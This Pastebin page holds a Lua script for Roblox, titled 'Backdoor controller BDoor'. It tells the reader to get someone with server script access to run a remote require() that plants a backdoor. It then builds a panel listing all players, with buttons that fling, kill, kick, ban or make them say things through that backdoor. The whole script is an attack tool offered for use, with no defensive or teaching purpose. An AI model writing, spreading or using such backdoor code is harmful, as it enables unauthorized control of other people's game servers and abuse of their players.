Advertisement
pitrioptixiop

Roblox | Backdoor controller "BDoor"

Dec 1st, 2018
3,603
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.62 KB | None | 1 0
  1.  
  2. --before running the script, do the script: require(2612210961)()
  3.  
  4. errmsg = [[
  5.     This server hasn't been backdoored :c
  6.     if you know someone who has script access,
  7.     get them to run the following code:
  8.    
  9.     require(2612210961)()
  10.    
  11.     After that you will be successfully able
  12.     to use backdoor commands :)
  13. ]]
  14. if game:GetService("ReplicatedStorage"):FindFirstChild("BDoor") == nil then
  15. m = Instance.new("Message",workspace)
  16. m.Text = errmsg
  17. game:GetService("Debris"):AddItem(m,5)
  18. error(errmsg)
  19. end
  20.  
  21. p = game:GetService("Players").LocalPlayer
  22. pg = p:FindFirstChildOfClass("PlayerGui")
  23. g = Instance.new("ScreenGui",pg)
  24. mf = Instance.new("Frame",g)
  25. mf.Size = UDim2.new(0,700,0,396)
  26. mf.Position = UDim2.new(0.082,0,0.171,0)
  27. sf = Instance.new("ScrollingFrame",mf)
  28. sf.ScrollBarImageColor3 = Color3.new(0,0,0)
  29. sf.Size = UDim2.new(0,700,0,231)
  30. sf.Position = UDim2.new(0,0,0,0)
  31. tf = Instance.new("Frame",sf)
  32. tf.Size = UDim2.new(0,700,0,120)
  33. tf.Position = UDim2.new(0,0,0,0)
  34. tf.Name = "Template"
  35. l = Instance.new("TextLabel",tf)
  36. l.Size = UDim2.new(0,398,0,100)
  37. l.Position = UDim2.new(0,0,0,0)
  38. l.TextScaled = true
  39. l.Text = "Shedletsky"
  40. l.Name = "PName"
  41. fling = Instance.new("TextButton",tf)
  42. fling.Name = "Fling"
  43. fling.Text = "Fling"
  44. fling.Size = UDim2.new(0,230,0,30)
  45. fling.Position = UDim2.new(0.569,0,0.752,0)
  46. kill = Instance.new("TextButton",tf)
  47. kill.Name = "Kill"
  48. kill.Text = "Kill"
  49. kill.Size = UDim2.new(0,115,0,41)
  50. kill.Position = UDim2.new(0.733,0,0.41,0)
  51. say = kill:Clone()
  52. say.Text = "Say"
  53. say.Position = UDim2.new(0.733,0,0,0)
  54. ban = say:Clone()
  55. ban.Text = "Ban"
  56. ban.Position = UDim2.new(0.569,0,0.41,0)
  57. kick = ban:Clone()
  58. kick.Text = "Kick"
  59. kick.Position = UDim2.new(0.569,0,0,0)
  60. tf.Visible = false
  61.  
  62. ypos = 0
  63.  
  64. function clearpframes()
  65. gc = sf:GetChildren()
  66. for b=1, #gc do
  67. if gc[b].Name ~= "Template" then
  68. gc[b]:Destroy()
  69. end
  70. end
  71. end
  72.  
  73. function sendcmd(...)
  74. game:GetService("ReplicatedStorage").BDoor.Action:FireServer(...)
  75. end
  76.  
  77. while true do
  78. wait(3)
  79. ypos = 0
  80. clearpframes()
  81. gc = game:GetService("Players"):GetChildren()
  82. for q=1, #gc do
  83. pf = tf:Clone()
  84. pf.Visible = true
  85. pf.Parent = tf.Parent
  86. pf.Position = UDim2.new(0,0,0,ypos)
  87. pf.PName.Text = gc[q].Name
  88. pf.Fling.MouseButton1Click:connect(function()
  89. sendcmd("fling",pf.PName.Text)
  90. end)
  91. pf.Kill.MouseButton1Click:connect(function()
  92. sendcmd("kill",pf.PName.Text)
  93. end)
  94. pf.Say.MouseButton1Click:connect(function()
  95. sendcmd("say",pf.PName.Text)
  96. end)
  97. pf.Ban.MouseButton1Click:connect(function()
  98. sendcmd("ban",pf.PName.Text)
  99. end)
  100. pf.Kick.MouseButton1Click:connect(function()
  101. sendcmd("kick",pf.PName.Text)
  102. end)
  103.  
  104.  
  105. ypos = ypos+tf.Size.Y.Offset
  106. end
  107. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement